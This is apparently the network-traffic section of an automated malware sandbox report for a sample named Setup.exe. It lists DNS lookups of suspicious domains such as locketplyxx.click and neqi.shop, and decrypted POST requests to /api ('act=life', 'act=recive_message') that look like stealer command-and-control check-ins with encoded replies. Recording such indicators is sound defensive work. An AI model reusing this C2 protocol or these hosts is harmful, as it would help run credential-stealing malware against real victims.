Dec 22, 2024 23:32:26.455657005 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.509030104 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.527338028 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.531421900 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.531500101 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.531606913 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.531675100 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.531723022 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.531759977 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.531791925 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.531989098 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.532028913 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.532058001 CET	49717	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.532073021 CET	443	49717	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.717446089 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.717498064 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:26.717571974 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.717854977 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:26.717869043 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:27.939107895 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:27.939198017 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:27.940383911 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:27.940391064 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:27.941200972 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:27.944767952 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:27.944900990 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:27.944928885 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:29.204776049 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:29.205044031 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:29.205121040 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:29.214471102 CET	49723	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:29.214493036 CET	443	49723	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:29.482484102 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:29.482589960 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:29.482705116 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:29.483289003 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:29.483335018 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:30.702234983 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:30.702383041 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:30.703772068 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:30.703803062 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:30.704138994 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:30.705466032 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:30.705692053 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:30.705739021 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:30.705818892 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:30.751328945 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:31.669751883 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:31.669872046 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:31.669975042 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:31.712812901 CET	49729	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:31.712862968 CET	443	49729	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:32.372159004 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:32.372208118 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:32.372277021 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:32.372680902 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:32.372694969 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:33.585407019 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:33.585635900 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:33.586879969 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:33.586894989 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:33.587148905 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:33.588545084 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:33.588704109 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:33.588731050 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:33.588795900 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:33.588804960 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:34.592411995 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:34.592518091 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:34.592593908 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:34.592787981 CET	49739	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:34.592808962 CET	443	49739	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:34.937500954 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:34.937557936 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:34.937700987 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:34.938009977 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:34.938031912 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.153204918 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.153333902 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:36.155174971 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:36.155189991 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.155587912 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.157263994 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:36.157390118 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:36.157397032 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.912894011 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.913009882 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:36.913081884 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:36.913317919 CET	49744	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:36.913374901 CET	443	49744	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:37.004017115 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:37.004076004 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:37.004188061 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:37.004595041 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:37.004611015 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:38.218123913 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:38.218322992 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:38.219767094 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:38.219800949 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:38.220163107 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:38.221836090 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:38.221978903 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:38.221998930 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:39.377242088 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:39.377382040 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:39.377567053 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:39.377736092 CET	49750	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:39.377758980 CET	443	49750	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:39.382693052 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:39.382730007 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:39.382817984 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:39.383255005 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:39.383268118 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:40.617588997 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:40.617746115 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:40.621841908 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:40.621853113 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:40.622276068 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:40.665155888 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:40.678697109 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:40.678728104 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:40.678822994 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:41.667701960 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:41.667809010 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:41.667985916 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:41.668093920 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:41.668118000 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:41.668128967 CET	49756	443	192.168.2.5	172.67.151.193
Dec 22, 2024 23:32:41.668134928 CET	443	49756	172.67.151.193	192.168.2.5
Dec 22, 2024 23:32:41.808475018 CET	49763	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:41.808520079 CET	443	49763	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:41.808600903 CET	49763	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:41.808971882 CET	49763	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:41.808984995 CET	443	49763	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:46.606601954 CET	443	49763	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:46.606714010 CET	49763	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:46.636198997 CET	49763	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:46.636224031 CET	443	49763	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:46.636625051 CET	49774	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:46.636662006 CET	443	49774	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:46.636733055 CET	49774	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:46.638825893 CET	49774	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:46.638839006 CET	443	49774	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:51.419049025 CET	443	49774	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:51.419809103 CET	49774	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:51.420217991 CET	49774	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:51.420234919 CET	443	49774	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:51.420241117 CET	49785	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:51.420339108 CET	443	49785	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:51.420447111 CET	49785	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:51.421154022 CET	49785	443	192.168.2.5	194.58.112.174
Dec 22, 2024 23:32:51.421206951 CET	443	49785	194.58.112.174	192.168.2.5
Dec 22, 2024 23:32:51.423782110 CET	49785	443	192.168.2.5	194.58.112.174

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 23:32:21.125333071 CET	51263	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:32:21.434237003 CET	53	51263	1.1.1.1	192.168.2.5
Dec 22, 2024 23:32:41.669545889 CET	62142	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:32:41.807391882 CET	53	62142	1.1.1.1	192.168.2.5
Dec 22, 2024 23:32:51.424745083 CET	52668	53	192.168.2.5	1.1.1.1
Dec 22, 2024 23:32:51.656316042 CET	53	52668	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 23:32:21.125333071 CET	192.168.2.5	1.1.1.1	0x1f4a	Standard query (0)	locketplyxx.click	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:32:41.669545889 CET	192.168.2.5	1.1.1.1	0x4b5	Standard query (0)	neqi.shop	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:32:51.424745083 CET	192.168.2.5	1.1.1.1	0x47a3	Standard query (0)	klipcatepiu0.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 23:32:21.434237003 CET	1.1.1.1	192.168.2.5	0x1f4a	No error (0)	locketplyxx.click		172.67.151.193	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:32:21.434237003 CET	1.1.1.1	192.168.2.5	0x1f4a	No error (0)	locketplyxx.click		104.21.88.181	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:32:41.807391882 CET	1.1.1.1	192.168.2.5	0x4b5	No error (0)	neqi.shop		194.58.112.174	A (IP address)	IN (0x0001)	false
Dec 22, 2024 23:32:51.656316042 CET	1.1.1.1	192.168.2.5	0x47a3	Name error (3)	klipcatepiu0.shop	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

locketplyxx.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:22 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: locketplyxx.click
2024-12-22 22:32:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-22 22:32:23 UTC	1140	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d5jdi6coia4phhv5p3i55r7sqe; expires=Thu, 17 Apr 2025 16:19:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9nii0mphnGdMmBCpnGhNQumgeVGX4HnBLJ2ueG5rExF2iQcq2%2BiC4M%2FtLLSWTfz2ZI9d%2FZz9fqB%2FXGZlSiIGeqy1ANDoPsP67F%2B6rMSuLYr0aN%2Fck%2Fp2MZtiQ%2BCIdU0cK7Pf4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6391476a665e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1672&rtt_var=661&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=1613259&cwnd=243&unsent_bytes=0&cid=4678fdded66027d6&ts=1165&x=0"
2024-12-22 22:32:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-22 22:32:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49717	172.67.151.193	443	6660	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 22:32:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 79 Host: locketplyxx.click
2024-12-22 22:32:25 UTC	79	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 42 41 52 4e 49 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--BARNI&j=aa77e78b6b0dd1b2226e7b799532ab3a
2024-12-22 22:32:26 UTC	1128	IN	HTTP/1.1 200 OK Date: Sun, 22 Dec 2024 22:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m78ho19t8oh87mu9lotso1echc; expires=Thu, 17 Apr 2025 16:19:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IH0C3pwndAMFqSwjHmSqGGLGtL0OzgSMM0ulMmT5ucphuc4dMEptg2BgLrUra20K4xLfzM7ZzjvaBhrLwq2z6%2FLaiDFzhbsQSMQhAiKs2D5ubuBLPxScMLQ6TRk%2Fg8iQZuMIAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f639157a84cc43b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1600&rtt_var=612&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=980&delivery_rate=1768625&cwnd=194&unsent_bytes=0&cid=c68eda0443892321&ts=1296&x=0"
2024-12-22 22:32:26 UTC	241	IN	Data Raw: 63 33 63 0d 0a 53 4f 35 66 4c 72 5a 77 70 51 75 6d 57 64 69 37 6f 49 6e 4a 50 33 69 48 4c 45 39 4c 37 2b 6c 4c 71 79 2b 6e 5a 36 56 4a 79 42 73 7a 7a 43 6b 4d 6a 45 53 4a 4b 64 55 38 2b 6f 48 47 36 4b 56 4d 48 61 73 4f 4c 69 2f 4e 30 79 33 4b 51 39 51 43 69 57 75 2b 64 6d 72 55 4f 55 2f 61 41 38 41 6e 68 44 79 67 6d 5a 72 53 73 68 30 64 36 51 35 31 61 59 71 44 4b 63 70 44 78 51 62 4f 4a 72 68 33 4b 34 59 7a 53 64 34 56 78 6d 2f 48 4e 62 58 65 78 65 79 6f 56 52 62 75 51 53 63 6d 7a 63 56 70 7a 6c 57 46 58 59 63 45 72 57 38 70 6f 7a 35 64 33 56 4c 59 4a 39 31 37 76 64 57 43 73 2b 74 65 48 65 56 41 4b 53 2b 45 67 53 50 44 53 38 51 44 7a 7a 6d 68 66 53 43 47 50 55 72 66 48 38 39 37 79 6a 2b 79 31 63 50 6d 71 42 31 55 Data Ascii: c3cSO5fLrZwpQumWdi7oInJP3iHLE9L7+lLqy+nZ6VJyBszzCkMjESJKdU8+oHG6KVMHasOLi/N0y3KQ9QCiWu+dmrUOU/aA8AnhDygmZrSsh0d6Q51aYqDKcpDxQbOJrh3K4YzSd4Vxm/HNbXexeyoVRbuQScmzcVpzlWFXYcErW8poz5d3VLYJ917vdWCs+teHeVAKS+EgSPDS8QDzzmhfSCGPUrfH897yj+y1cPmqB1U
2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 70 55 6b 31 61 64 58 4c 65 76 74 4f 31 42 54 53 4a 72 70 2f 61 70 4e 7a 56 5a 51 56 79 79 6d 63 65 37 4c 56 7a 4f 36 6f 55 68 33 6b 54 6a 38 6d 6a 59 67 68 77 55 6e 50 43 73 67 6b 70 48 4d 74 68 44 52 4c 32 78 58 50 62 38 73 34 2b 70 65 43 37 4c 4d 64 51 71 56 75 50 53 71 4f 6e 79 54 59 44 64 70 4c 33 6d 75 74 64 57 72 55 66 55 72 61 45 38 70 70 31 6a 4f 78 30 73 66 35 6f 46 51 58 36 45 34 67 49 34 4b 49 4b 63 35 48 7a 77 72 4e 4c 36 64 30 4c 49 77 39 44 4a 70 53 77 48 47 45 59 2f 72 36 78 2f 75 73 55 51 79 6e 64 47 30 32 77 35 4a 70 7a 6b 47 46 58 59 63 6a 72 33 6f 70 68 7a 4a 50 33 42 6e 56 61 64 59 39 74 39 7a 51 37 61 35 54 45 4f 5a 63 4a 79 65 4c 69 43 44 43 52 4d 41 43 77 32 76 6b 4f 53 32 55 66 52 53 55 4d 38 70 69 79 44 47 74 32 59 4c 30 35 55 52 Data Ascii: pUk1adXLevtO1BTSJrp/apNzVZQVyymce7LVzO6oUh3kTj8mjYghwUnPCsgkpHMthDRL2xXPb8s4+peC7LMdQqVuPSqOnyTYDdpL3mutdWrUfUraE8pp1jOx0sf5oFQX6E4gI4KIKc5HzwrNL6d0LIw9DJpSwHGEY/r6x/usUQyndG02w5JpzkGFXYcjr3ophzJP3BnVadY9t9zQ7a5TEOZcJyeLiCDCRMACw2vkOS2UfRSUM8piyDGt2YL05UR
2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 53 4f 4c 68 43 54 46 44 59 74 46 77 44 50 71 49 57 71 6d 50 6c 6a 58 47 49 56 63 78 7a 57 30 33 74 53 72 74 42 4d 44 70 55 6b 68 61 64 58 4c 4a 4d 68 46 77 78 66 49 4a 71 6c 33 4a 49 4d 34 51 39 77 53 78 32 54 42 50 37 48 53 77 65 61 76 54 78 44 6c 52 69 67 6f 68 34 46 70 68 77 33 43 48 59 64 7a 36 6b 67 39 68 33 39 35 31 78 7a 4a 62 74 4a 37 70 5a 66 62 71 36 78 52 57 72 30 4f 49 43 47 49 6a 69 62 49 52 38 73 41 7a 53 65 69 64 79 6d 65 4d 6b 6a 55 48 73 39 6a 79 54 57 2b 30 63 76 67 6f 46 73 61 35 45 52 74 5a 38 32 4d 4d 59 6b 56 68 54 48 41 4a 36 64 32 61 4c 6b 2b 51 74 6f 56 30 53 6e 62 64 61 4f 5a 78 65 66 72 42 56 72 70 52 79 30 69 68 34 38 70 7a 6b 44 41 42 73 41 6f 70 33 34 67 67 6a 70 49 32 42 76 4b 62 38 51 38 76 74 7a 51 37 71 4a 52 46 71 55 41 Data Ascii: SOLhCTFDYtFwDPqIWqmPljXGIVcxzW03tSrtBMDpUkhadXLJMhFwxfIJql3JIM4Q9wSx2TBP7HSweavTxDlRigoh4Fphw3CHYdz6kg9h3951xzJbtJ7pZfbq6xRWr0OICGIjibIR8sAzSeidymeMkjUHs9jyTW+0cvgoFsa5ERtZ82MMYkVhTHAJ6d2aLk+QtoV0SnbdaOZxefrBVrpRy0ih48pzkDABsAop34ggjpI2BvKb8Q8vtzQ7qJRFqUA
2024-12-22 22:32:26 UTC	160	IN	Data Raw: 52 6e 30 41 33 43 43 59 64 7a 36 6e 41 6a 6e 6a 4e 43 33 52 2f 42 59 63 4d 31 74 39 4c 45 34 4b 78 61 48 4f 68 47 49 43 79 4f 69 69 33 44 58 38 59 4f 7a 53 61 67 4f 57 54 4d 4f 6c 53 55 53 6f 64 4f 79 42 4b 71 77 74 44 39 36 30 4a 55 2f 41 34 71 4a 63 33 54 61 63 70 43 7a 41 72 50 49 36 56 32 4c 6f 49 37 53 74 6b 58 79 47 50 57 4d 37 54 55 79 65 53 67 54 78 72 6f 53 69 45 74 68 59 41 6a 69 51 4f 46 41 74 39 72 38 6a 6b 66 67 54 4a 4d 31 77 53 48 64 6f 6f 69 2b 74 37 4f 0d 0a Data Ascii: Rn0A3CCYdz6nAjnjNC3R/BYcM1t9LE4KxaHOhGICyOii3DX8YOzSagOWTMOlSUSodOyBKqwtD960JU/A4qJc3TacpCzArPI6V2LoI7StkXyGPWM7TUyeSgTxroSiEthYAjiQOFAt9r8jkfgTJM1wSHdooi+t7O
2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 34 32 36 34 0d 0a 71 2f 4d 64 46 75 74 4f 49 69 57 42 67 43 48 49 51 63 73 43 77 69 4b 69 63 54 69 4e 4f 55 54 56 48 4d 68 6f 77 44 36 2f 33 63 58 76 72 56 4a 61 71 77 34 71 4d 63 33 54 61 65 5a 71 38 45 66 6d 45 65 70 6d 5a 4a 56 39 53 39 68 53 6e 79 6e 49 4f 4c 62 52 7a 65 32 69 55 52 44 73 52 53 45 69 69 59 63 67 7a 45 76 45 41 4d 49 71 72 6e 55 67 69 6a 35 50 32 78 33 49 59 59 52 31 2b 74 37 61 71 2f 4d 64 50 2f 4a 46 49 79 2f 4e 6c 47 66 51 44 63 49 4a 68 33 50 71 64 53 4f 4b 4f 30 6e 59 45 38 46 68 77 54 4f 2b 32 4d 54 74 71 46 49 65 34 45 38 69 4c 59 47 46 49 38 68 4d 79 51 37 49 49 4b 38 35 5a 4d 77 36 56 4a 52 4b 68 31 6a 48 4c 61 33 4a 7a 71 75 30 45 77 4f 6c 53 53 46 70 31 63 73 6f 32 30 66 50 43 38 49 6b 72 33 6f 6c 69 7a 42 4b 32 42 6a 4f 59 Data Ascii: 4264q/MdFutOIiWBgCHIQcsCwiKicTiNOUTVHMhowD6/3cXvrVJaqw4qMc3TaeZq8EfmEepmZJV9S9hSnynIOLbRze2iURDsRSEiiYcgzEvEAMIqrnUgij5P2x3IYYR1+t7aq/MdP/JFIy/NlGfQDcIJh3PqdSOKO0nYE8FhwTO+2MTtqFIe4E8iLYGFI8hMyQ7IIK85ZMw6VJRKh1jHLa3Jzqu0EwOlSSFp1cso20fPC8Ikr3olizBK2BjOY
2024-12-22 22:32:26 UTC	1369	IN	Data Raw: 53 79 65 2b 72 55 52 72 68 51 79 30 37 67 6f 77 75 77 45 62 58 44 38 41 73 6f 58 45 68 67 7a 74 65 32 42 7a 56 62 4e 59 70 2b 70 65 43 37 4c 4d 64 51 71 56 34 4b 6a 6d 64 69 47 76 34 57 38 59 54 7a 43 61 6d 4f 54 58 43 4a 41 7a 54 48 6f 63 78 68 44 32 31 30 4d 48 6b 71 6c 51 57 36 45 73 6b 4c 49 79 4e 4c 63 4e 48 78 51 50 42 4b 71 39 7a 4b 59 30 33 52 64 4d 61 77 47 72 57 65 2f 53 5a 78 66 50 72 42 56 72 4d 53 54 38 6e 6e 63 73 32 68 31 53 46 41 73 74 72 38 6a 6b 75 68 6a 4a 49 30 78 37 42 62 4d 49 32 75 39 62 44 36 36 52 5a 45 65 78 49 4c 43 53 49 68 69 33 62 52 38 34 4b 79 79 4b 6d 64 47 72 43 66 55 76 4d 55 70 38 70 39 54 61 30 31 38 58 39 36 30 4a 55 2f 41 34 71 4a 63 33 54 61 63 68 42 79 67 62 49 4b 4b 6c 34 49 4a 34 76 51 4e 30 61 77 6d 58 50 4e 62 Data Ascii: Sye+rURrhQy07gowuwEbXD8AsoXEhgzte2BzVbNYp+peC7LMdQqV4KjmdiGv4W8YTzCamOTXCJAzTHocxhD210MHkqlQW6EskLIyNLcNHxQPBKq9zKY03RdMawGrWe/SZxfPrBVrMST8nncs2h1SFAstr8jkuhjJI0x7BbMI2u9bD66RZEexILCSIhi3bR84KyyKmdGrCfUvMUp8p9Ta018X960JU/A4qJc3TachBygbIKKl4IJ4vQN0awmXPNb
